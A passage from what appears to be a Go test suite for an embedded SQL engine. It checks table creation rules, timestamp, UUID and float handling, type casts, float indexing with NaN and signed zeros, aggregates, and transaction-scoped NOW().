*testing.T) { _, err := engine.Query(context.Background(), nil, "SELECT * FROM DATABASES()", nil) require.ErrorIs(t, err, ErrUnspecifiedMultiDBHandler) }) r, err := engine.Query(context.Background(), nil, "SELECT ts FROM pg_type WHERE ts < 1 + NOW()", nil) require.NoError(t, err) defer r.Close() _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) } func TestCreateTable(t *testing.T) { st, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true)) require.NoError(t, err) defer closeStore(t, st) engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table1 (id INTEGER, name VARCHAR)", nil) require.ErrorIs(t, err, ErrNoPrimaryKey) _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table1 (id INTEGER PRIMARY KEY, name VARCHAR PRIMARY KEY)", nil) require.ErrorIs(t, err, ErrMultiplePrimaryKeys) _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table1 (id INTEGER PRIMARY KEY, name VARCHAR, PRIMARY KEY (id, name))", nil) require.ErrorIs(t, err, ErrMultiplePrimaryKeys) _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table1 (name VARCHAR, PRIMARY KEY id)", nil) require.ErrorIs(t, err, ErrColumnDoesNotExist) _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table1 (name VARCHAR, PRIMARY KEY name)", nil) require.ErrorIs(t, err, ErrLimitedKeyType) _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table1 (name VARCHAR[30], PRIMARY KEY name)", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table10 (name VARCHAR[30] PRIMARY KEY)", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, fmt.Sprintf("CREATE TABLE table2 (name VARCHAR[%d], PRIMARY KEY name)", MaxKeyLen+1), nil) require.ErrorIs(t, err, ErrLimitedKeyType) _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table3 (name VARCHAR[32], PRIMARY KEY name)", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table4 (id INTEGER, PRIMARY KEY id)", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table1 (id INTEGER, PRIMARY KEY id)", nil) require.ErrorIs(t, err, ErrTableAlreadyExists) _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE IF NOT EXISTS table1 (id INTEGER, PRIMARY KEY id)", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE IF NOT EXISTS blob_table (id BLOB[2], PRIMARY KEY id)", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE IF NOT EXISTS balances (id INTEGER, balance FLOAT, CHECK (balance + id) >= 0, PRIMARY KEY id)", nil) require.NoError(t, err) } func TestTimestampType(t *testing.T) { engine := setupCommonTest(t) _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE IF NOT EXISTS timestamp_table (id INTEGER AUTO_INCREMENT, ts TIMESTAMP, PRIMARY KEY id)", nil) require.NoError(t, err) sel := EncodeSelector("", "timestamp_table", "ts") t.Run("must accept NOW() as a timestamp", func(t *testing.T) { tsBefore := time.Now().UTC() _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO timestamp_table(ts) VALUES(NOW())", nil) require.NoError(t, err) tsAfter := time.Now().UTC() _, err := engine.InferParameters(context.Background(), nil, "SELECT ts FROM timestamp_table WHERE ts < 1 + NOW()") require.ErrorIs(t, err, ErrInvalidTypes) params := map[string]interface{}{ "limit": 1, "offset": 0, } r, err := engine.Query(context.Background(), nil, "SELECT ts FROM timestamp_table WHERE ts < NOW() ORDER BY id DESC LIMIT @limit+0 OFFSET @offset", params) require.NoError(t, err) defer r.Close() row, err := r.Read(context.Background()) require.NoError(t, err) require.Equal(t, TimestampType, row.ValuesBySelector[sel].Type()) require.False(t, tsBefore.After(row.ValuesBySelector[sel].RawValue().(time.Time))) require.False(t, tsAfter.Before(row.ValuesBySelector[sel].RawValue().(time.Time))) require.Len(t, row.ValuesByPosition, 1) require.Equal(t, row.ValuesByPosition[0], row.ValuesBySelector[sel]) }) t.Run("must accept time.Time as timestamp parameter", func(t *testing.T) { _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO timestamp_table(ts) VALUES(@ts)", map[string]interface{}{ "ts": time.Date(2021, 12, 1, 18, 06, 14, 0, time.UTC), }, ) require.NoError(t, err) r, err := engine.Query(context.Background(), nil, "SELECT ts FROM timestamp_table ORDER BY id DESC LIMIT 1", nil) require.NoError(t, err) defer r.Close() row, err := r.Read(context.Background()) require.NoError(t, err) require.Equal(t, TimestampType, row.ValuesBySelector[sel].Type()) require.Equal(t, time.Date(2021, 12, 1, 18, 06, 14, 0, time.UTC), row.ValuesBySelector[sel].RawValue()) }) t.Run("must correctly validate timestamp equality", func(t *testing.T) { _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO timestamp_table(ts) VALUES(@ts)", map[string]interface{}{ "ts": time.Date(2021, 12, 6, 10, 14, 0, 0, time.UTC), }, ) require.NoError(t, err) r, err := engine.Query(context.Background(), nil, "SELECT ts FROM timestamp_table WHERE ts = @ts ORDER BY id", map[string]interface{}{ "ts": time.Date(2021, 12, 6, 10, 14, 0, 0, time.UTC), }) require.NoError(t, err) row, err := r.Read(context.Background()) require.NoError(t, err) require.Equal(t, TimestampType, row.ValuesBySelector[sel].Type()) require.Equal(t, time.Date(2021, 12, 6, 10, 14, 0, 0, time.UTC), row.ValuesBySelector[sel].RawValue()) _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = r.Close() require.NoError(t, err) r, err = engine.Query(context.Background(), nil, "SELECT ts FROM timestamp_table WHERE ts = @ts ORDER BY id", map[string]interface{}{ "ts": "2021-12-06 10:14", }) require.NoError(t, err) _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNotComparableValues) err = r.Close() require.NoError(t, err) }) } func TestTimestampIndex(t *testing.T) { engine := setupCommonTest(t) _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE IF NOT EXISTS timestamp_index (id INTEGER AUTO_INCREMENT, ts TIMESTAMP, PRIMARY KEY id)", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON timestamp_index(ts)", nil) require.NoError(t, err) for i := 100; i > 0; i-- { _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO timestamp_index(ts) VALUES(@ts)", map[string]interface{}{"ts": time.Unix(int64(i), 0)}) require.NoError(t, err) } r, err := engine.Query(context.Background(), nil, "SELECT * FROM timestamp_index ORDER BY ts", nil) require.NoError(t, err) defer r.Close() for i := 100; i > 0; i-- { row, err := r.Read(context.Background()) require.NoError(t, err) require.EqualValues(t, i, row.ValuesBySelector[EncodeSelector("", "timestamp_index", "id")].RawValue()) } _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) } func TestTimestampCasts(t *testing.T) { engine := setupCommonTest(t) _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE IF NOT EXISTS timestamp_table (id INTEGER AUTO_INCREMENT, ts TIMESTAMP, PRIMARY KEY id)", nil) require.NoError(t, err) sel := EncodeSelector("", "timestamp_table", "ts") for _, d := range []struct { str string t time.Time }{ {"2021-12-03 16:14:21.1234", time.Date(2021, 12, 03, 16, 14, 21, 123400000, time.UTC)}, {"2021-12-03 16:14", time.Date(2021, 12, 03, 16, 14, 0, 0, time.UTC)}, {"2021-12-03", time.Date(2021, 12, 03, 0, 0, 0, 0, time.UTC)}, } { t.Run(fmt.Sprintf("insert a timestamp value using a cast from '%s'", d.str), func(t *testing.T) { _, _, err = engine.Exec( context.Background(), nil, fmt.Sprintf("INSERT INTO timestamp_table(ts) VALUES(CAST('%s' AS TIMESTAMP))", d.str), nil) require.NoError(t, err) r, err := engine.Query(context.Background(), nil, "SELECT ts FROM timestamp_table ORDER BY id DESC LIMIT 1", nil) require.NoError(t, err) defer r.Close() row, err := r.Read(context.Background()) require.NoError(t, err) require.Equal(t, TimestampType, row.ValuesBySelector[sel].Type()) require.Equal(t, d.t, row.ValuesBySelector[sel].RawValue()) }) } t.Run("insert a timestamp value using a cast from INTEGER", func(t *testing.T) { _, _, err = engine.Exec( context.Background(), nil, "INSERT INTO timestamp_table(ts) VALUES(CAST(123456 AS TIMESTAMP))", nil) require.NoError(t, err) r, err := engine.Query(context.Background(), nil, "SELECT ts FROM timestamp_table ORDER BY id DESC LIMIT 1", nil) require.NoError(t, err) defer r.Close() row, err := r.Read(context.Background()) require.NoError(t, err) require.Equal(t, TimestampType, row.ValuesBySelector[sel].Type()) require.Equal(t, time.Unix(123456, 0).UTC(), row.ValuesBySelector[sel].RawValue()) }) t.Run("test casting from null values", func(t *testing.T) { _, _, err = engine.Exec( context.Background(), nil, ` CREATE TABLE IF NOT EXISTS values_table (id INTEGER AUTO_INCREMENT, ts TIMESTAMP, str VARCHAR, i INTEGER, PRIMARY KEY id); INSERT INTO values_table(ts, str,i) VALUES(NOW(), NULL, NULL); `, nil) require.NoError(t, err) _, _, err = engine.Exec( context.Background(), nil, ` UPDATE values_table SET ts = CAST(str AS TIMESTAMP); `, nil) require.NoError(t, err) _, _, err = engine.Exec( context.Background(), nil, ` UPDATE values_table SET ts = i::TIMESTAMP; `, nil) require.NoError(t, err) }) t.Run("test casting invalid string", func(t *testing.T) { _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO timestamp_table(ts) VALUES(CAST('not a datetime' AS TIMESTAMP))", nil) require.ErrorIs(t, err, ErrUnsupportedCast) _, _, err = engine.Exec( context.Background(), nil, "INSERT INTO timestamp_table(ts) VALUES(CAST(@ts AS TIMESTAMP))", map[string]interface{}{ "ts": strings.Repeat("long string ", 1000), }) require.ErrorIs(t, err, ErrUnsupportedCast) }) t.Run("test casting unsupported type", func(t *testing.T) { _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO timestamp_table(ts) VALUES(CAST(true AS TIMESTAMP))", nil) require.ErrorIs(t, err, ErrUnsupportedCast) _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO timestamp_table(ts) VALUES(CAST(true AS INTEGER))", nil) require.ErrorIs(t, err, ErrUnsupportedCast) }) t.Run("test type inference with casting", func(t *testing.T) { _, err = engine.Query(context.Background(), nil, "SELECT * FROM timestamp_table WHERE id < CAST(true AS TIMESTAMP)", nil) require.ErrorIs(t, err, ErrUnsupportedCast) rowReader, err := engine.Query(context.Background(), nil, "SELECT * FROM timestamp_table WHERE ts > CAST(id::INTEGER AS TIMESTAMP)", nil) require.NoError(t, err) _, err = rowReader.Read(context.Background()) require.NoError(t, err) require.NoError(t, rowReader.Close()) }) } func TestUUIDAsPK(t *testing.T) { engine := setupCommonTest(t) _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE IF NOT EXISTS uuid_table(id UUID, test INTEGER, PRIMARY KEY id)", nil) require.NoError(t, err) sel := EncodeSelector("", "uuid_table", "id") t.Run("UUID as PK", func(t *testing.T) { _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO uuid_table(id) VALUES(RANDOM_UUID())", nil) require.NoError(t, err) _, err := engine.InferParameters(context.Background(), nil, "SELECT id FROM uuid_table WHERE id = NOW()") require.ErrorIs(t, err, ErrInvalidTypes) r, err := engine.Query(context.Background(), nil, "SELECT id FROM uuid_table", nil) require.NoError(t, err) defer r.Close() row, err := r.Read(context.Background()) require.NoError(t, err) require.Equal(t, UUIDType, row.ValuesBySelector[sel].Type()) require.Len(t, row.ValuesByPosition, 1) require.Equal(t, row.ValuesByPosition[0], row.ValuesBySelector[sel]) }) t.Run("must accept RANDOM_UUID() as an UUID", func(t *testing.T) { _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO uuid_table(id) VALUES(RANDOM_UUID())", nil) require.NoError(t, err) _, err := engine.InferParameters(context.Background(), nil, "SELECT id FROM uuid_table WHERE id = NOW()") require.ErrorIs(t, err, ErrInvalidTypes) r, err := engine.Query(context.Background(), nil, "SELECT id FROM uuid_table", nil) require.NoError(t, err) defer r.Close() row, err := r.Read(context.Background()) require.NoError(t, err) require.Equal(t, UUIDType, row.ValuesBySelector[sel].Type()) require.Len(t, row.ValuesByPosition, 1) require.Equal(t, row.ValuesByPosition[0], row.ValuesBySelector[sel]) }) t.Run("must accept uuid string as an UUID", func(t *testing.T) { id := uuid.UUID([16]byte{0x00, 0x01, 0x02, 0x03, 0x04, 0x40, 0x06, 0x80, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f}) _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO uuid_table(id, test) VALUES(@uuid, 3)", map[string]interface{}{ "uuid": id.String(), }) require.NoError(t, err) r, err := engine.Query(context.Background(), nil, "SELECT id FROM uuid_table WHERE test = 3", nil) require.NoError(t, err) defer r.Close() row, err := r.Read(context.Background()) require.NoError(t, err) require.Equal(t, UUIDType, row.ValuesBySelector[sel].Type()) require.Len(t, row.ValuesByPosition, 1) require.Equal(t, row.ValuesByPosition[0], row.ValuesBySelector[sel]) require.Equal(t, id, row.ValuesByPosition[0].RawValue()) }) t.Run("must accept byte slice as an UUID", func(t *testing.T) { id := uuid.UUID([16]byte{0x10, 0x01, 0x02, 0x03, 0x04, 0x40, 0x06, 0x80, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f}) _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO uuid_table(id, test) VALUES(@uuid, 4)", map[string]interface{}{ "uuid": id[:], }) require.NoError(t, err) r, err := engine.Query(context.Background(), nil, "SELECT id FROM uuid_table WHERE test = 4", nil) require.NoError(t, err) defer r.Close() row, err := r.Read(context.Background()) require.NoError(t, err) require.Equal(t, UUIDType, row.ValuesBySelector[sel].Type()) require.Len(t, row.ValuesByPosition, 1) require.Equal(t, row.ValuesByPosition[0], row.ValuesBySelector[sel]) require.Equal(t, id, row.ValuesByPosition[0].RawValue()) }) } func TestUUIDNonPK(t *testing.T) { engine := setupCommonTest(t) _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE uuid_table(id INTEGER, u UUID, t VARCHAR, PRIMARY KEY id)", nil) require.NoError(t, err) sel := EncodeSelector("", "uuid_table", "u") t.Run("UUID as non PK", func(t *testing.T) { _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO uuid_table(id, u, t) VALUES(1, RANDOM_UUID(), 't')", nil) require.NoError(t, err) r, err := engine.Query(context.Background(), nil, "SELECT u FROM uuid_table", nil) require.NoError(t, err) defer r.Close() row, err := r.Read(context.Background()) require.NoError(t, err) require.Equal(t, UUIDType, row.ValuesBySelector[sel].Type()) require.Len(t, row.ValuesByPosition, 1) require.Equal(t, row.ValuesByPosition[0], row.ValuesBySelector[sel]) }) t.Run("UUID as non PK must accept uuid string", func(t *testing.T) { id := uuid.UUID([16]byte{0x00, 0x01, 0x02, 0x03, 0x04, 0x40, 0x06, 0x80, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f}) _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO uuid_table(id, u, t) VALUES(2, @id, 't')", map[string]interface{}{ "id": id.String(), }) require.NoError(t, err) r, err := engine.Query(context.Background(), nil, "SELECT u FROM uuid_table WHERE id = 2 LIMIT 1", nil) require.NoError(t, err) defer r.Close() row, err := r.Read(context.Background()) require.NoError(t, err) require.Equal(t, UUIDType, row.ValuesBySelector[sel].Type()) require.Len(t, row.ValuesByPosition, 1) require.Equal(t, row.ValuesByPosition[0], row.ValuesBySelector[sel]) require.Equal(t, id, row.ValuesByPosition[0].RawValue()) }) t.Run("UUID as non PK must accept byte slice", func(t *testing.T) { id := uuid.UUID([16]byte{0x00, 0x01, 0x02, 0x03, 0x04, 0x40, 0x06, 0x80, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f}) _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO uuid_table(id, u, t) VALUES(3, @id, 't')", map[string]interface{}{ "id": id[:], }) require.NoError(t, err) r, err := engine.Query(context.Background(), nil, "SELECT u FROM uuid_table WHERE id = 3 LIMIT 1", nil) require.NoError(t, err) defer r.Close() row, err := r.Read(context.Background()) require.NoError(t, err) require.Equal(t, UUIDType, row.ValuesBySelector[sel].Type()) require.Len(t, row.ValuesByPosition, 1) require.Equal(t, row.ValuesByPosition[0], row.ValuesBySelector[sel]) require.Equal(t, id, row.ValuesByPosition[0].RawValue()) }) } func TestFloatType(t *testing.T) { engine := setupCommonTest(t) _, _, err := engine.Exec( context.Background(), nil, "CREATE TABLE IF NOT EXISTS float_table (id INTEGER AUTO_INCREMENT, ft FLOAT, PRIMARY KEY id)", nil, ) require.NoError(t, err) t.Run("must insert float type", func(t *testing.T) { for _, d := range []struct { valStr string valFloat float64 }{ {"0", 0}, {"-0", 0}, {"1", 1}, {"-1", -1.0}, {"100.100", 100.100}, {".7", .7}, {".543210", .543210}, {"105.7", 105.7}, {"00105.98988897", 00105.98988897}, } { t.Run("Valid float: "+d.valStr, func(t *testing.T) { _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO float_table(ft) VALUES("+d.valStr+")", nil) require.NoError(t, err) r, err := engine.Query(context.Background(), nil, "SELECT ft FROM float_table ORDER BY id DESC LIMIT 1", nil) require.NoError(t, err) defer r.Close() row, err := r.Read(context.Background()) require.NoError(t, err) require.Equal(t, Float64Type, row.ValuesByPosition[0].Type()) require.Equal(t, d.valFloat, row.ValuesByPosition[0].RawValue()) }) } for _, d := range []string{ "105.9898.8897", "0..0", } { t.Run("Invalid float: "+d, func(t *testing.T) { _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO float_table(ft) VALUES("+d+")", nil) require.Error(t, err) }) } }) t.Run("must accept float as parameter", func(t *testing.T) { _, _, err = engine.Exec( context.Background(), nil, "INSERT INTO float_table(ft) VALUES(@ft)", map[string]interface{}{ "ft": -0.4, }, ) require.NoError(t, err) r, err := engine.Query(context.Background(), nil, "SELECT ft FROM float_table ORDER BY id DESC LIMIT 1", nil) require.NoError(t, err) defer r.Close() row, err := r.Read(context.Background()) require.NoError(t, err) require.Equal(t, Float64Type, row.ValuesByPosition[0].Type()) require.Equal(t, -0.4, row.ValuesByPosition[0].RawValue()) }) t.Run("must correctly validate float equality", func(t *testing.T) { _, _, err = engine.Exec( context.Background(), nil, "INSERT INTO float_table(ft) VALUES(@ft)", map[string]interface{}{ "ft": 0.78, }, ) require.NoError(t, err) r, err := engine.Query( context.Background(), nil, "SELECT ft FROM float_table WHERE ft = @ft ORDER BY id", map[string]interface{}{ "ft": 0.78, }) require.NoError(t, err) row, err := r.Read(context.Background()) require.NoError(t, err) require.Equal(t, Float64Type, row.ValuesByPosition[0].Type()) require.Equal(t, 0.78, row.ValuesByPosition[0].RawValue()) _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = r.Close() require.NoError(t, err) r, err = engine.Query( context.Background(), nil, "SELECT ts FROM float_table WHERE ft = @ft ORDER BY id", map[string]interface{}{ "ft": "2021-12-06 10:14", }) require.NoError(t, err) _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrUnsupportedCast) err = r.Close() require.NoError(t, err) }) t.Run("must correctly handle floating points in aggregate functions", func(t *testing.T) { _, _, err := engine.Exec( context.Background(), nil, ` CREATE TABLE aggregate_test( id INTEGER AUTO_INCREMENT, f FLOAT, PRIMARY KEY(id) ) `, nil, ) require.NoError(t, err) aggregateFunctions := []struct { fn string result float64 }{ {"MAX", 4.0}, {"MIN", -1.0}, {"SUM", 10.0}, {"AVG", 10.0 / 6.0}, } // Empty table - this is a corner case that has to be checked too for _, d := range aggregateFunctions { t.Run(d.fn, func(t *testing.T) { res, err := engine.Query( context.Background(), nil, "SELECT "+d.fn+"(f) FROM aggregate_test", nil) require.NoError(t, err) defer res.Close() row, err := res.Read(context.Background()) require.NoError(t, err) require.Len(t, row.ValuesByPosition, 1) require.EqualValues(t, 0.0, row.ValuesByPosition[0].RawValue()) }) } // Add some values _, _, err = engine.Exec( context.Background(), nil, ` INSERT INTO aggregate_test(f) VALUES (2.0), (1.0), (4.0), (3.0), (-1.0), (1.0) `, nil) require.NoError(t, err) for _, d := range aggregateFunctions { t.Run(fmt.Sprintf("%+v", d), func(t *testing.T) { res, err := engine.Query( context.Background(), nil, "SELECT "+d.fn+"(f) FROM aggregate_test", nil) require.NoError(t, err) defer res.Close() row, err := res.Read(context.Background()) require.NoError(t, err) require.Len(t, row.ValuesByPosition, 1) require.EqualValues(t, d.result, row.ValuesByPosition[0].RawValue()) }) } }) t.Run("correctly infer fliating-point parameter", func(t *testing.T) { params, err := engine.InferParameters( context.Background(), nil, "SELECT * FROM float_table WHERE ft = @fparam", ) require.NoError(t, err) require.Equal(t, map[string]SQLValueType{"fparam": Float64Type}, params) }) } func TestFloatIndex(t *testing.T) { engine := setupCommonTest(t) _, _, err := engine.Exec( context.Background(), nil, "CREATE TABLE IF NOT EXISTS float_index (id INTEGER AUTO_INCREMENT, ft FLOAT, PRIMARY KEY id)", nil) require.NoError(t, err) _, _, err = engine.Exec( context.Background(), nil, "CREATE INDEX ON float_index(ft)", nil, ) require.NoError(t, err) for i := 100; i > 0; i-- { val, _ := strconv.ParseFloat(fmt.Sprint(i, ".", i), 64) _, _, err = engine.Exec( context.Background(), nil, "INSERT INTO float_index(ft) VALUES(@ft)", map[string]interface{}{"ft": val}) require.NoError(t, err) } r, err := engine.Query( context.Background(), nil, "SELECT * FROM float_index ORDER BY ft", nil) require.NoError(t, err) defer r.Close() prevf := float64(-1.0) for i := 100; i > 0; i-- { row, err := r.Read(context.Background()) require.NoError(t, err) require.EqualValues(t, i, row.ValuesBySelector[EncodeSelector("", "float_index", "id")].RawValue()) currf := row.ValuesBySelector[EncodeSelector("", "float_index", "ft")].RawValue().(float64) require.Less(t, prevf, currf) prevf = currf } _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) } func TestFloatIndexOnNegatives(t *testing.T) { engine := setupCommonTest(t) _, _, err := engine.Exec( context.Background(), nil, "CREATE TABLE IF NOT EXISTS float_index (id INTEGER AUTO_INCREMENT, ft FLOAT, PRIMARY KEY id)", nil) require.NoError(t, err) _, _, err = engine.Exec( context.Background(), nil, "CREATE INDEX ON float_index(ft)", nil) require.NoError(t, err) var z float64 floatSerie := []float64{ z, /*0*/ -z, /*-0*/ 1 / z, /*+Inf*/ -1 / z, /*-Inf*/ +z / z, /*NaN*/ -z / z, /*NaN*/ -1.0, 3.345, -0.5, 0.0, -100.8, 0.5, 1.0, math.MaxFloat64, -math.MaxFloat64, math.SmallestNonzeroFloat64, } for _, ft := range floatSerie { _, _, err = engine.Exec( context.Background(), nil, "INSERT INTO float_index(ft) VALUES(@ft)", map[string]interface{}{"ft": ft}) require.NoError(t, err) } r, err := engine.Query( context.Background(), nil, "SELECT * FROM float_index ORDER BY ft", nil) require.NoError(t, err) defer r.Close() sort.Float64s(floatSerie) for i := 0; i < len(floatSerie); i++ { row, err := r.Read(context.Background()) require.NoError(t, err) val := row.ValuesBySelector[EncodeSelector("", "float_index", "ft")].RawValue() if i == 0 { require.True(t, math.IsNaN(val.(float64))) continue } if i == 1 { require.True(t, math.IsNaN(val.(float64))) continue } if i == 7 { // negative zero require.True(t, math.Signbit(val.(float64))) } if i == 8 { // positive zero require.False(t, math.Signbit(val.(float64))) } if i == 9 { // positive zero require.False(t, math.Signbit(val.(float64))) } if i == 10 { require.Equal(t, math.SmallestNonzeroFloat64, val) } require.Equal(t, floatSerie[i], val) } _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) } func TestFloatCasts(t *testing.T) { engine := setupCommonTest(t) _, _, err := engine.Exec( context.Background(), nil, "CREATE TABLE IF NOT EXISTS float_table (id INTEGER AUTO_INCREMENT, ft FLOAT, PRIMARY KEY id)", nil) require.NoError(t, err) for _, d := range []struct { str string f float64 }{ {"0.5", 0.5}, {".1", 0.1}, } { t.Run(fmt.Sprintf("insert a float value using a cast from '%s'", d.str), func(t *testing.T) { _, _, err = engine.Exec( context.Background(), nil, fmt.Sprintf("INSERT INTO float_table(ft) VALUES(CAST('%s' AS FLOAT))", d.str), nil, ) require.NoError(t, err) r, err := engine.Query( context.Background(), nil, "SELECT ft FROM float_table ORDER BY id DESC LIMIT 1", nil) require.NoError(t, err) defer r.Close() row, err := r.Read(context.Background()) require.NoError(t, err) require.Equal(t, Float64Type, row.ValuesByPosition[0].Type()) require.Equal(t, d.f, row.ValuesByPosition[0].RawValue()) }) } t.Run("insert a float value using a cast from INTEGER", func(t *testing.T) { _, _, err = engine.Exec( context.Background(), nil, "INSERT INTO float_table(ft) VALUES(CAST(123456 AS FLOAT))", nil) require.NoError(t, err) r, err := engine.Query( context.Background(), nil, "SELECT ft FROM float_table ORDER BY id DESC LIMIT 1", nil, ) require.NoError(t, err) defer r.Close() row, err := r.Read(context.Background()) require.NoError(t, err) require.Equal(t, Float64Type, row.ValuesByPosition[0].Type()) require.Equal(t, float64(123456), row.ValuesByPosition[0].RawValue()) }) t.Run("test casting from null values", func(t *testing.T) { _, _, err = engine.Exec( context.Background(), nil, ` CREATE TABLE IF NOT EXISTS values_table (id INTEGER AUTO_INCREMENT, ft FLOAT, str VARCHAR, i INTEGER, PRIMARY KEY id); INSERT INTO values_table(ft, str,i) VALUES(NULL, NULL, NULL); `, nil) require.NoError(t, err) _, _, err = engine.Exec( context.Background(), nil, ` UPDATE values_table SET ft = CAST(str AS FLOAT); `, nil, ) require.NoError(t, err) _, _, err = engine.Exec( context.Background(), nil, ` UPDATE values_table SET ft = CAST(i AS FLOAT); `, nil) require.NoError(t, err) }) t.Run("test casting invalid string", func(t *testing.T) { _, _, err = engine.Exec( context.Background(), nil, "INSERT INTO float_table(ft) VALUES(CAST('not a float' AS FLOAT))", nil) require.ErrorIs(t, err, ErrUnsupportedCast) _, _, err = engine.Exec( context.Background(), nil, "INSERT INTO float_table(ft) VALUES(CAST(@ft AS FLOAT))", map[string]interface{}{ "ft": strings.Repeat("long string ", 1000), }) require.ErrorIs(t, err, ErrUnsupportedCast) }) } func TestNumericCasts(t *testing.T) { engine := setupCommonTest(t) _, _, err := engine.Exec( context.Background(), nil, ` CREATE TABLE IF NOT EXISTS numeric_table (id INTEGER AUTO_INCREMENT, quantity INTEGER, price FLOAT, PRIMARY KEY id); CREATE INDEX ON numeric_table(quantity); CREATE INDEX ON numeric_table(price); CREATE INDEX ON numeric_table(quantity, price); `, nil) require.NoError(t, err) for _, d := range []struct { q interface{} p interface{} }{ {10, 0.5}, {1.5, 7}, {nil, nil}, } { params := make(map[string]interface{}) params["q"] = d.q params["p"] = d.p t.Run("insert row with numeric casting", func(t *testing.T) { _, _, err = engine.Exec( context.Background(), nil, "INSERT INTO numeric_table(quantity, price) VALUES(CAST(@q AS INTEGER), CAST(@p AS FLOAT))", params, ) require.NoError(t, err) r, err := engine.Query( context.Background(), nil, "SELECT quantity, price FROM numeric_table ORDER BY id DESC LIMIT 1", nil) require.NoError(t, err) defer r.Close() row, err := r.Read(context.Background()) require.NoError(t, err) require.Equal(t, IntegerType, row.ValuesByPosition[0].Type()) require.Equal(t, Float64Type, row.ValuesByPosition[1].Type()) }) t.Run("insert row with implicit numeric casting", func(t *testing.T) { _, _, err = engine.Exec( context.Background(), nil, "INSERT INTO numeric_table(quantity, price) VALUES(@q, @p)", params, ) require.NoError(t, err) r, err := engine.Query( context.Background(), nil, "SELECT quantity, price FROM numeric_table ORDER BY id DESC LIMIT 1", nil) require.NoError(t, err) defer r.Close() row, err := r.Read(context.Background()) require.NoError(t, err) require.Equal(t, IntegerType, row.ValuesByPosition[0].Type()) require.Equal(t, Float64Type, row.ValuesByPosition[1].Type()) }) } } func TestNowFunctionEvalsToTxTimestamp(t *testing.T) { engine := setupCommonTest(t) _, _, err := engine.Exec( context.Background(), nil, "CREATE TABLE tx_timestamp (id INTEGER AUTO_INCREMENT, ts TIMESTAMP, PRIMARY KEY id)", nil) require.NoError(t, err) currentTs := time.Now() for it := 0; it < 3; it++ { time.Sleep(1 * time.Microsecond) _, _, err := engine.Exec(context.Background(), nil, "BEGIN TRANSACTION; ROLLBACK;", nil) require.NoError(t, err) tx, _, err := engine.Exec(context.Background(), nil, "BEGIN TRANSACTION;", nil) require.NoError(t, err) require.True(t, tx.Timestamp().After(currentTs)) rowCount := 10 for i := 0; i < rowCount; i++ { _, _, err = engine.Exec(context.Background(), tx, "INSERT INTO tx_timestamp(ts) VALUES (NOW()), (NOW())", nil) require.NoError(t, err) } r, err := engine.Query(context.Background(), tx, "SELECT * FROM tx_timestamp WHERE ts = @ts", map[string]interface{}{"ts": tx.Timestamp()}) require.NoError(t, err) defer r.Close() for i := 0; i < rowCount*2; i++ { row, err := r.Read(context.Background()) require.NoError(t, err) require.EqualValues(t, tx.Timestamp(), row.ValuesBySelector[EncodeSelector("", "tx_timestamp", "ts")].RawValue()) } _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = r.Close() require.NoError(t, err) _, _, err = engine.Exec(context.Background(), tx, "COMMIT;", nil) require.NoError(t, err) currentTs = tx.Timestamp() } } func TestAddColumn(t *testing.T) { dir := t.TempDir() t.Run("create-store", func(t *testing.T) { st, err := store.Open(dir, store.DefaultOptions().WithMultiIndexing(true)) require.NoError(t, err) defer closeStore(t, st) engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table1 (name VARCHAR, PRIMARY KEY 